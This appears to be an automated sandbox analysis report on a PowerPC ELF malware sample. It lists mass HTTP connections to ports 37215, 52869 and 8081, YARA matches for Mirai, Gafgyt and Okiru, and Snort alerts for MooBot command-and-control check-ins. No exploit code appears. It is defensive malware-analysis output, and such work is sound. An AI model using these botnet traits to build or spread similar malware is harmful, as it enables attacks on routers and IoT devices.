Source: unknown	Network traffic detected: HTTP traffic on port 41390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60906 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59540 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52370 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42094 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53172 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46674 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33164 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59786 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48200 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48646 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38932 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42556 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42446 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46420 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42632 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46710 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45398 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40676 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37738 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58940 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47002 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38674 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41042 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37296 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40178 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45616 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35922 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58642 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45686 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47990 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55532 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39006 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40276 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52846 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42224 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43734 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55136 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36772 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40410 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47906 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46142 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48858 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46422 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58502 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39460 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37816 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41428 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46486 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44964 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43458 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42816 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43702 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34844 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36464 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37774 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59068 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51240 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40410 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46142 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47906 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48858 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46422 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58502 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39460 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37816 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44962 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44244 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37868 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56936 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55580 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60822 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46288 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58300 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46832 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39350 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51470 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36112 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52964 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37978 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36512 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33622 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40686 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44340 -> 37215

Source: /tmp/Pn0jlaHvxE.elf (PID: 5705)

Queries kernel information via 'uname':

Jump to behavior

Source: Pn0jlaHvxE.elf, 5705.1.0000557376d45000.0000557376df5000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: Pn0jlaHvxE.elf, 5705.1.0000557376d45000.0000557376df5000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: Pn0jlaHvxE.elf, 5705.1.00007ffde7272000.00007ffde7293000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: Pn0jlaHvxE.elf, 5705.1.00007ffde7272000.00007ffde7293000.rw-.sdmp	Binary or memory string: wx86_64/usr/bin/qemu-ppc/tmp/Pn0jlaHvxE.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Pn0jlaHvxE.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: Pn0jlaHvxE.elf, type: SAMPLE
Source: Yara match	File source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: Pn0jlaHvxE.elf, type: SAMPLE
Source: Yara match	File source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pn0jlaHvxE.elf PID: 5705, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: Pn0jlaHvxE.elf, type: SAMPLE
Source: Yara match	File source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pn0jlaHvxE.elf PID: 5705, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Gafgyt

Source: Yara match	File source: Pn0jlaHvxE.elf, type: SAMPLE
Source: Yara match	File source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: Pn0jlaHvxE.elf, type: SAMPLE
Source: Yara match	File source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pn0jlaHvxE.elf PID: 5705, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: Pn0jlaHvxE.elf, type: SAMPLE
